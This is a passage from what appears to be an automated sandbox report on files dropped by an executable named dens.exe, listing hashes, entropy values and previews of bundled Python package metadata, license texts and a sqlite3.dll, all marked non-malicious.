C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\typing_extensions-4.12.2.dist-info\METADATA

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	5.0579916471633
Encrypted:	false
SSDEEP:	48:DtkCMU2ymXbFX1QI/aMktjaVQEBu+FOK+W6i+qXd0qme28mIp9DvvV+Vz+nlh:DtkCD/mxX1QI/aMktjaVBroBBqd0VODD
MD5:	8303191AC93E4D32457A4A9E3CDAD8E5
SHA1:	B6ADA54B9516D20B69A5DD5CDED868DA22C5E252
SHA-256:	05E51021AF1C9D86EB8D6C7E37C4CECE733D5065B91A6D8389C5690ED440F16D
SHA-512:	F2F5DBE5EA55ED720FA4191180076E9EFFCB9C811C3C7BF1A1201E9D78590B381E125EAF7B8366B28A03383C2958449423548576605E8DCB5CC11C33C9B0E709
Malicious:	false
Preview:	Metadata-Version: 2.1.Name: typing_extensions.Version: 4.12.2.Summary: Backported and Experimental Type Hints for Python 3.8+.Keywords: annotations,backport,checker,checking,function,hinting,hints,type,typechecking,typehinting,typehints,typing.Author-email: "Guido van Rossum, Jukka Lehtosalo, .ukasz Langa, Michael Lee" <levkivskyi@gmail.com>.Requires-Python: >=3.8.Description-Content-Type: text/markdown.Classifier: Development Status :: 5 - Production/Stable.Classifier: Environment :: Console.Classifier: Intended Audience :: Developers.Classifier: License :: OSI Approved :: Python Software Foundation License.Classifier: Operating System :: OS Independent.Classifier: Programming Language :: Python :: 3.Classifier: Programming Language :: Python :: 3 :: Only.Classifier: Programming Language :: Python :: 3.8.Classifier: Programming Language :: Python :: 3.9.Classifier: Programming Language :: Python :: 3.10.Classifier: Programming Language :: Python :: 3.11.Classifier: Programming Langua

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\typing_extensions-4.12.2.dist-info\RECORD

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	571
Entropy (8bit):	5.751670348693122
Encrypted:	false
SSDEEP:	12:rCA89x0a/2zDuxv/vjWaxLbSaLjxjxXaefIE12BATqyo/C:mA87n/2zD6vXCulVZf5Cc4C
MD5:	B884E8832BFB336C2D7F54271F11EE1C
SHA1:	5A3BAABEE79E0CF32D2E87C9AF0FBB3AAD8CACAD
SHA-256:	7710002D81971E632AA6A2FC33DC5D74AAF5D7CAAE22040A65D3E31503B05EE9
SHA-512:	0A5EB3ABED212C474CB5FDDEF47F8E62DAA130128F2BB368A8E1F12E143DAE2F8B2EF4A9B85A883A03C67195829AD637DB7CF7CC4B41535AF6CA5668F8F2BD0B
Malicious:	false
Preview:	__pycache__/typing_extensions.cpython-312.pyc,,..typing_extensions-4.12.2.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4..typing_extensions-4.12.2.dist-info/LICENSE,sha256=Oy-B_iHRgcSZxZolbI4ZaEVdZonSaaqFNzv7avQdo78,13936..typing_extensions-4.12.2.dist-info/METADATA,sha256=BeUQIa8cnYbrjWx-N8TOznM9UGW5Gm2DicVpDtRA8W0,3018..typing_extensions-4.12.2.dist-info/RECORD,,..typing_extensions-4.12.2.dist-info/WHEEL,sha256=EZbGkh7Ie4PoZfRQ8I0ZuP9VklN_TvcZ6DSE5Uar4z4,81..typing_extensions.py,sha256=gwekpyG9DVG3lxWKX4ni8u7nk3We5slG98mA9F3DJQw,134451..

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\typing_extensions-4.12.2.dist-info\WHEEL

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.672346887071811
Encrypted:	false
SSDEEP:	3:RtEeX/QFM+vxP+tPCCfA5I:Rt1Qq2WBB3
MD5:	24019423EA7C0C2DF41C8272A3791E7B
SHA1:	AAE9ECFB44813B68CA525BA7FA0D988615399C86
SHA-256:	1196C6921EC87B83E865F450F08D19B8FF5592537F4EF719E83484E546ABE33E
SHA-512:	09AB8E4DAA9193CFDEE6CF98CCAE9DB0601F3DCD4944D07BF3AE6FA5BCB9DC0DCAFD369DE9A650A38D1B46C758DB0721EBA884446A8A5AD82BB745FD5DB5F9B1
Malicious:	false
Preview:	Wheel-Version: 1.0.Generator: flit 3.9.0.Root-Is-Purelib: true.Tag: py3-none-any.

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\wheel-0.43.0.dist-info\INSTALLER

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\wheel-0.43.0.dist-info\LICENSE.txt

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1107
Entropy (8bit):	5.115074330424529
Encrypted:	false
SSDEEP:	24:PWmrRONJHLH0cPP3gtkHw1h39QHOsUv4eOk4/+jvho3nPz:ttONJbbvE/NQHOs5eNS3n7
MD5:	7FFB0DB04527CFE380E4F2726BD05EBF
SHA1:	5B39C45A91A556E5F1599604F1799E4027FA0E60
SHA-256:	30C23618679108F3E8EA1D2A658C7CA417BDFC891C98EF1A89FA4FF0C9828654
SHA-512:	205F284F3A7E8E696C70ED7B856EE98C1671C68893F0952EEC40915A383BC452B99899BDC401F9FE161A1BF9B6E2CEA3BCD90615EEE9173301657A2CE4BAFE14
Malicious:	false
Preview:	MIT License..Copyright (c) 2012 Daniel Holth <dholth@fastmail.fm> and contributors..Permission is hereby granted, free of charge, to any person obtaining a.copy of this software and associated documentation files (the "Software"),.to deal in the Software without restriction, including without limitation.the rights to use, copy, modify, merge, publish, distribute, sublicense,.and/or sell copies of the Software, and to permit persons to whom the.Software is furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included.in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL.THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR.OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERW

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\wheel-0.43.0.dist-info\METADATA

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	2153
Entropy (8bit):	5.088249746074878
Encrypted:	false
SSDEEP:	48:DEhpFu5MktjaywDK48d+md+7uT8RfkD1UKd+mOl1Awry:DEhpiMktjayq/7kOfsUzmbYy
MD5:	EBEA27DA14E3F453119DC72D84343E8C
SHA1:	7CEB6DBE498B69ABF4087637C6F500742FF7E2B4
SHA-256:	59BAC22B00A59D3E5608A56B8CF8EFC43831A36B72792EE4389C9CD4669C7841
SHA-512:	A41593939B9325D40CB67FD3F41CD1C9E9978F162487FB469094C41440B5F48016B9A66BE2E6E4A0406D6EEDB25CE4F5A860BA1E3DC924B81F63CEEE3AE31117
Malicious:	false
Preview:	Metadata-Version: 2.1.Name: wheel.Version: 0.43.0.Summary: A built-package format for Python.Keywords: wheel,packaging.Author-email: Daniel Holth <dholth@fastmail.fm>.Maintainer-email: Alex Gr.nholm <alex.gronholm@nextday.fi>.Requires-Python: >=3.8.Description-Content-Type: text/x-rst.Classifier: Development Status :: 5 - Production/Stable.Classifier: Intended Audience :: Developers.Classifier: Topic :: System :: Archiving :: Packaging.Classifier: License :: OSI Approved :: MIT License.Classifier: Programming Language :: Python.Classifier: Programming Language :: Python :: 3 :: Only.Classifier: Programming Language :: Python :: 3.8.Classifier: Programming Language :: Python :: 3.9.Classifier: Programming Language :: Python :: 3.10.Classifier: Programming Language :: Python :: 3.11.Classifier: Programming Language :: Python :: 3.12.Requires-Dist: pytest >= 6.0.0 ; extra == "test".Requires-Dist: setuptools >= 65 ; extra == "test".Project-URL: Changelog, https://wheel.readthedocs.io/en/s

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\wheel-0.43.0.dist-info\RECORD

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	4557
Entropy (8bit):	5.714200636114494
Encrypted:	false
SSDEEP:	96:QXVuEmegx01TQIvFCiq9H/H7vp88FxTXiJPkGJP4CWweXQHmnDpMI78IegK5EeZR:QXVxAbYkU4CWweXQHmnDpMeV2BvTRqQF
MD5:	44D352C4997560C7BFB82D9360F5985A
SHA1:	BE58C7B8AB32790384E4E4F20865C4A88414B67A
SHA-256:	783E654742611AF88CD9F00BF01A431A219DB536556E63FF981C7BD673070AC9
SHA-512:	281B1D939A560E6A08D0606E5E8CE15F086B4B45738AB41ED6B5821968DC8D764CD6B25DB6BA562A07018C271ABF17A6BC5A380FAD05696ADF1D11EE2C5749C8
Malicious:	false
Preview:	../../bin/wheel,sha256=cT2EHbrv-J-UyUXu26cDY-0I7RgcruysJeHFanT1Xfo,249..wheel-0.43.0.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4..wheel-0.43.0.dist-info/LICENSE.txt,sha256=MMI2GGeRCPPo6h0qZYx8pBe9_IkcmO8aifpP8MmChlQ,1107..wheel-0.43.0.dist-info/METADATA,sha256=WbrCKwClnT5WCKVrjPjvxDgxo2tyeS7kOJyc1GaceEE,2153..wheel-0.43.0.dist-info/RECORD,,..wheel-0.43.0.dist-info/REQUESTED,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0..wheel-0.43.0.dist-info/WHEEL,sha256=EZbGkh7Ie4PoZfRQ8I0ZuP9VklN_TvcZ6DSE5Uar4z4,81..wheel-0.43.0.dist-info/entry_points.txt,sha256=rTY1BbkPHhkGMm4Q3F0pIzJBzW2kMxoG1oriffvGdA0,104..wheel/__init__.py,sha256=D6jhH00eMzbgrXGAeOwVfD5i-lCAMMycuG1L0useDlo,59..wheel/__main__.py,sha256=NkMUnuTCGcOkgY0IBLgBCVC_BGGcWORx2K8jYGS12UE,455..wheel/__pycache__/__init__.cpython-312.pyc,,..wheel/__pycache__/__main__.cpython-312.pyc,,..wheel/__pycache__/_setuptools_logging.cpython-312.pyc,,..wheel/__pycache__/bdist_wheel.cpython-312.pyc,,..wheel/__pycache

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\wheel-0.43.0.dist-info\WHEEL

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.672346887071811
Encrypted:	false
SSDEEP:	3:RtEeX/QFM+vxP+tPCCfA5I:Rt1Qq2WBB3
MD5:	24019423EA7C0C2DF41C8272A3791E7B
SHA1:	AAE9ECFB44813B68CA525BA7FA0D988615399C86
SHA-256:	1196C6921EC87B83E865F450F08D19B8FF5592537F4EF719E83484E546ABE33E
SHA-512:	09AB8E4DAA9193CFDEE6CF98CCAE9DB0601F3DCD4944D07BF3AE6FA5BCB9DC0DCAFD369DE9A650A38D1B46C758DB0721EBA884446A8A5AD82BB745FD5DB5F9B1
Malicious:	false
Preview:	Wheel-Version: 1.0.Generator: flit 3.9.0.Root-Is-Purelib: true.Tag: py3-none-any.

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\wheel-0.43.0.dist-info\entry_points.txt

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	104
Entropy (8bit):	4.271713330022269
Encrypted:	false
SSDEEP:	3:1SSAnAYgh+MWTMhk6WjrAM5t5ln:1Jb9WTMhk9jUM5t5ln
MD5:	6180E17C30BAE5B30DB371793FCE0085
SHA1:	E3A12C421562A77D90A13D8539A3A0F4D3228359
SHA-256:	AD363505B90F1E1906326E10DC5D29233241CD6DA4331A06D68AE27DFBC6740D
SHA-512:	69EAE7B1E181D7BA1D3E2864D31E1320625A375E76D3B2FBF8856B3B6515936ACE3138D4D442CABDE7576FCFBCBB0DEED054D90B95CFA1C99829DB12A9031E26
Malicious:	false
Preview:	[console_scripts].wheel=wheel.cli:main..[distutils.commands].bdist_wheel=wheel.bdist_wheel:bdist_wheel..

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\zipp-3.19.2.dist-info\INSTALLER

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\zipp-3.19.2.dist-info\LICENSE

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1023
Entropy (8bit):	5.059832621894572
Encrypted:	false
SSDEEP:	24:OrmJHcwH0MP3gt8Hw1hj9QHOsUv4eOk4/+/m3oqMSFJ:OaJ8YHvEH5QHOs5exm3oEFJ
MD5:	141643E11C48898150DAA83802DBC65F
SHA1:	0445ED0F69910EEAEE036F09A39A13C6E1F37E12
SHA-256:	86DA0F01AEAE46348A3C3D465195DC1CECCDE79F79E87769A64B8DA04B2A4741
SHA-512:	EF62311602B466397BAF0B23CACA66114F8838F9E78E1B067787CEB709D09E0530E85A47BBCD4C5A0905B74FDB30DF0CC640910C6CC2E67886E5B18794A3583F
Malicious:	false
Preview:	Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to.deal in the Software without restriction, including without limitation the.rights to use, copy, modify, merge, publish, distribute, sublicense, and/or.sell copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in.all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING.FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEA

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\zipp-3.19.2.dist-info\METADATA

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3575
Entropy (8bit):	5.085545958857746
Encrypted:	false
SSDEEP:	96:D0h4aC/S802Vpnu3pyt1Q+/+DeVb0ksYSwTgD:Oc/z02Vpnu3pytS+2DeVNfSwTW
MD5:	F659E7F578CE6FD3753871DBBBA1F939
SHA1:	C53B0E6A2E3D94093E2FE4978926A7439B47D43C
SHA-256:	508AE4FE43081C64B0B0A2828588B3A8CC3430C6693D1676662569400B0DFDB1
SHA-512:	2C0496B76D259259A8F1E57F3ED2224A7E3E99FF309F764C00A8377BB5BD1C94035BDDF24BD1BA637209677CB9F4E8109F84C50B3488B5B8FC372B6BEDAB9AE0
Malicious:	false
Preview:	Metadata-Version: 2.1.Name: zipp.Version: 3.19.2.Summary: Backport of pathlib-compatible object wrapper for zip files.Author-email: "Jason R. Coombs" <jaraco@jaraco.com>.Project-URL: Homepage, https://github.com/jaraco/zipp.Classifier: Development Status :: 5 - Production/Stable.Classifier: Intended Audience :: Developers.Classifier: License :: OSI Approved :: MIT License.Classifier: Programming Language :: Python :: 3.Classifier: Programming Language :: Python :: 3 :: Only.Requires-Python: >=3.8.Description-Content-Type: text/x-rst.License-File: LICENSE.Provides-Extra: doc.Requires-Dist: sphinx >=3.5 ; extra == 'doc'.Requires-Dist: jaraco.packaging >=9.3 ; extra == 'doc'.Requires-Dist: rst.linker >=1.9 ; extra == 'doc'.Requires-Dist: furo ; extra == 'doc'.Requires-Dist: sphinx-lint ; extra == 'doc'.Requires-Dist: jaraco.tidelift >=1.4 ; extra == 'doc'.Provides-Extra: test.Requires-Dist: pytest !=8.1.*,>=6 ; extra == 'test'.Requires-Dist: pytest-checkdocs >=2.4 ; extra == 'test'.Requir

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\zipp-3.19.2.dist-info\RECORD

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	1039
Entropy (8bit):	5.8094923667268965
Encrypted:	false
SSDEEP:	24:An/2zDlvbqfuiwbWk/EsJ6Xam9lpW8OWq3tW36nJA3u3iWwksYW:AnuXlzUuitk/5J6f9lpW8OW4tM6nJSkE
MD5:	1E77310EF3277C93430D969FEAC8FDFC
SHA1:	173240337F249E2A6D54206AA0D0ACB0FDED12D7
SHA-256:	F316F2E03FD9ADE7EBBC0B154706848E2BB8FD568B90935109F0D8E3CE2B9BFE
SHA-512:	68F752DAF2DBEB79644337E4DB9B8CEAEAE3606A865EDC32BE16785DC97BDCF38EF200F0EDC86DC9D71ABA72E108D2851A510F0EB598FFEA286503F0C9772E5E
Malicious:	false
Preview:	zipp-3.19.2.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4..zipp-3.19.2.dist-info/LICENSE,sha256=htoPAa6uRjSKPD1GUZXcHOzN55956HdppkuNoEsqR0E,1023..zipp-3.19.2.dist-info/METADATA,sha256=UIrk_kMIHGSwsKKChYizqMw0MMZpPRZ2ZiVpQAsN_bE,3575..zipp-3.19.2.dist-info/RECORD,,..zipp-3.19.2.dist-info/REQUESTED,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0..zipp-3.19.2.dist-info/WHEEL,sha256=GJ7t_kWBFywbagK5eo9IoUwLW6oyOeTKmQ-9iHFVNxQ,92..zipp-3.19.2.dist-info/top_level.txt,sha256=iAbdoSHfaGqBfVb2XuR9JqSQHCoOsOtG6y9C_LSpqFw,5..zipp/__init__.py,sha256=QuI1g00G4fRAcGt-HqbV0oWIkmSgedCGGYsHHYzNa8A,13412..zipp/__pycache__/__init__.cpython-312.pyc,,..zipp/__pycache__/glob.cpython-312.pyc,,..zipp/compat/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0..zipp/compat/__pycache__/__init__.cpython-312.pyc,,..zipp/compat/__pycache__/py310.cpython-312.pyc,,..zipp/compat/py310.py,sha256=eZpkW0zRtunkhEh8jjX3gCGe22emoKCBJw72Zt4RkhA,219..zipp/glob.py,sha256=etWpnfEoRyf

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\zipp-3.19.2.dist-info\WHEEL

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	92
Entropy (8bit):	4.812622295095324
Encrypted:	false
SSDEEP:	3:RtEeX7MWcSlVlFxP+tPCCfA5S:RtBMwlVTxWBBf
MD5:	43136DDE7DD276932F6197BB6D676EF4
SHA1:	6B13C105452C519EA0B65AC1A975BD5E19C50122
SHA-256:	189EEDFE4581172C1B6A02B97A8F48A14C0B5BAA3239E4CA990FBD8871553714
SHA-512:	E7712BA7D36DEB083EBCC3B641AD3E7D19FB071EE64AE3A35AD6A50EE882B20CD2E60CA1319199DF12584FE311A6266EC74F96A3FB67E59F90C7B5909668AEE1
Malicious:	false
Preview:	Wheel-Version: 1.0.Generator: bdist_wheel (0.43.0).Root-Is-Purelib: true.Tag: py3-none-any..

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\zipp-3.19.2.dist-info\top_level.txt

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5
Entropy (8bit):	1.9219280948873623
Encrypted:	false
SSDEEP:	3:m:m
MD5:	9B929466EC7848714DE24BCF75AE57CB
SHA1:	ECC9237295CDA9B690BE094E58FAE1458A4B0389
SHA-256:	8806DDA121DF686A817D56F65EE47D26A4901C2A0EB0EB46EB2F42FCB4A9A85C
SHA-512:	C8D8967BE2B5094A5D72BA4BEF5DBDA2CBF539BF3B8B916CF86854087A12DF82B51B7BF5B6EFA79898692EFD22FAD9688058448CAAB198FB708A0E661DC685EA
Malicious:	false
Preview:	zipp.

C:\Users\user\AppData\Local\Temp\_MEI62482\sqlite3.dll

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1541912
Entropy (8bit):	6.576517980395355
Encrypted:	false
SSDEEP:	24576:OU/QhAI889YyuQYZlm/8AgzMkf6G5MJ8NW/yKhh+ivz/LZ/Xm+5D3ovTDJl:HVyuQYZlm/8vP6G5MJ8NuF+IzDZ/XPoP
MD5:	F3592DA629E4F247598E232B2CBFBAC1
SHA1:	65429FBEC3F5545640F2CDA784DC7DCCA420EB3B
SHA-256:	054A7B736DE7AFBD447B07EE5E72DF2FEBCAA06758F7A028873771567E8735D3
SHA-512:	6FC24890A7BE1ED73F1EFDF2B7723C3A7DE5DDB36B87FF7B01949FC2B14813E7B7C8B8311ABEE2796A9A4EFFFEDFC1D2020FFA794E59004CA4FB6798B993190D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........tB..,...,...,..m....,.D.-...,.D./...,.D.(...,.D.)...,..m-...,...-...,...$...,...,...,......,.......,.Rich..,.........PE..d....b.f.........." ...(.2...,.......1....................................................`..............................................#...&.......p...............X.../......X...0...T..............................@............P..X............................text....0.......2.................. ..`.rdata.......P.......6..............@..@.data...`M...@...D..................@....pdata...............`..............@..@.rsrc........p.......>..............@..@.reloc..X............H..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\typeguard-4.3.0.dist-info\INSTALLER

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\Users\user\AppData\Local\Temp\_MEI62482\typeguard-4.3.0.dist-info\LICENSE

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	1130
Entropy (8bit):	5.118590213496374
Encrypted:	false
SSDEEP:	24:qt4rWHvH0yPP3Gt6Hw1hP9QHmsUv48OV/+dho3BoqxFB:/S/lPvKhlQHms5QK3WmFB
MD5:	F0E423EEA5C91E7AA21BDB70184B3E53
SHA1:	A51CCDCB7A9D8C2116D1DFC16F11B3C8A5830F67
SHA-256:	6163F7987DFB38D6BC320CE2B70B2F02B862BC41126516D552EF1CD43247E758
SHA-512:	8BE742880E6E8495C7EC4C9ECC8F076A9FC9D64FC84B3AEBBC8D2D10DC62AC2C5053F33B716212DCB76C886A9C51619F262C460FC4B39A335CE1AE2C9A8769A8
Malicious:	false
Preview:	This is the MIT license: http://www.opensource.org/licenses/mit-license.php..Copyright (c) Alex Gr.nholm..Permission is hereby granted, free of charge, to any person obtaining a copy of this.software and associated documentation files (the "Software"), to deal in the Software.without restriction, including without limitation the rights to use, copy, modify, merge,.publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons.to whom the Software is furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all copies or.substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,.INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR.PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE.FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF C

C:\Users\user\AppData\Local\Temp\_MEI62482\typeguard-4.3.0.dist-info\METADATA

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	3717
Entropy (8bit):	4.986068381037722
Encrypted:	false
SSDEEP:	96:DSQRbraktjaAckH94jQnJIK04Fak/grjspC3EklAJj:/Rakd4jA7ak/gvspNWmj
MD5:	B6DAAC02F66AC8403E9061881322BABE
SHA1:	9A94672CCFEA06156A5F8A321CD0626CFD233AE8
SHA-256:	CF675C1C0A744F08580855390DE87CC77D676B312582E8D4CFDB5BB8FD298D21
SHA-512:	9C6B7326C90396AA9E962C2731A1085EDB672B5696F95F552D13350843C09A246E0BBF0EC484862DFF434FA5A86DE4C0B7C963958ADE35A066B9D2384076DD47
Malicious:	false
Preview:	Metadata-Version: 2.1.Name: typeguard.Version: 4.3.0.Summary: Run-time type checker for Python.Author-email: Alex Gr.nholm <alex.gronholm@nextday.fi>.License: MIT.Project-URL: Documentation, https://typeguard.readthedocs.io/en/latest/.Project-URL: Change log, https://typeguard.readthedocs.io/en/latest/versionhistory.html.Project-URL: Source code, https://github.com/agronholm/typeguard.Project-URL: Issue tracker, https://github.com/agronholm/typeguard/issues.Classifier: Development Status :: 5 - Production/Stable.Classifier: Intended Audience :: Developers.Classifier: License :: OSI Approved :: MIT License.Classifier: Programming Language :: Python.Classifier: Programming Language :: Python :: 3.Classifier: Programming Language :: Python :: 3.8.Classifier: Programming Language :: Python :: 3.9.Classifier: Programming Language :: Python :: 3.10.Classifier: Programming Language :: Python :: 3.11.Classifier: Programming Language :: Python :: 3.12.Requires-Python: >=3.8.Description-Content

C:\Users\user\AppData\Local\Temp\_MEI62482\typeguard-4.3.0.dist-info\RECORD

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	2402
Entropy (8bit):	5.729208478282605
Encrypted:	false
SSDEEP:	48:eDnuX3DVED9HDDeDfPDLkAosGDlDiVoBFj7XH0H3HuwVB6Kgfkx7J/Q1NK1cQyxk:eyX3WRHDiLPjksV7I47J/Q1U6Qyx5fsJ
MD5:	D680B2881597974ACD91750E5AB61010
SHA1:	E00ED2416B5CE21641E3946905504D62D536972F
SHA-256:	48A51959582478352275428CEECD78EF77D79AC9DAE796E39A2EAF2540282552
SHA-512:	112172ACB515B0712AC58D78898EB159580ADA3DD3F16AABB37CB7A8D964F9E4BADF2869A245927B83B208D56904831C0F04ED925C95DFCB705801734FB0C7BA
Malicious:	false
Preview:	typeguard-4.3.0.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4..typeguard-4.3.0.dist-info/LICENSE,sha256=YWP3mH37ONa8MgzitwsvArhivEESZRbVUu8c1DJH51g,1130..typeguard-4.3.0.dist-info/METADATA,sha256=z2dcHAp0TwhYCFU5Deh8x31nazElgujUz9tbuP0pjSE,3717..typeguard-4.3.0.dist-info/RECORD,,..typeguard-4.3.0.dist-info/WHEEL,sha256=GJ7t_kWBFywbagK5eo9IoUwLW6oyOeTKmQ-9iHFVNxQ,92..typeguard-4.3.0.dist-info/entry_points.txt,sha256=qp7NQ1aLtiSgMQqo6gWlfGpy0IIXzoMJmeQTLpzqFZQ,48..typeguard-4.3.0.dist-info/top_level.txt,sha256=4z28AhuDodwRS_c1J_l8H51t5QuwfTseskYzlxp6grs,10..typeguard/__init__.py,sha256=Onh4w38elPCjtlcU3JY9k3h70NjsxXIkAflmQn-Z0FY,2071..typeguard/__pycache__/__init__.cpython-312.pyc,,..typeguard/__pycache__/_checkers.cpython-312.pyc,,..typeguard/__pycache__/_config.cpython-312.pyc,,..typeguard/__pycache__/_decorators.cpython-312.pyc,,..typeguard/__pycache__/_exceptions.cpython-312.pyc,,..typeguard/__pycache__/_functions.cpython-312.pyc,,..typeguard/__pycache__/_i

C:\Users\user\AppData\Local\Temp\_MEI62482\typeguard-4.3.0.dist-info\WHEEL

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
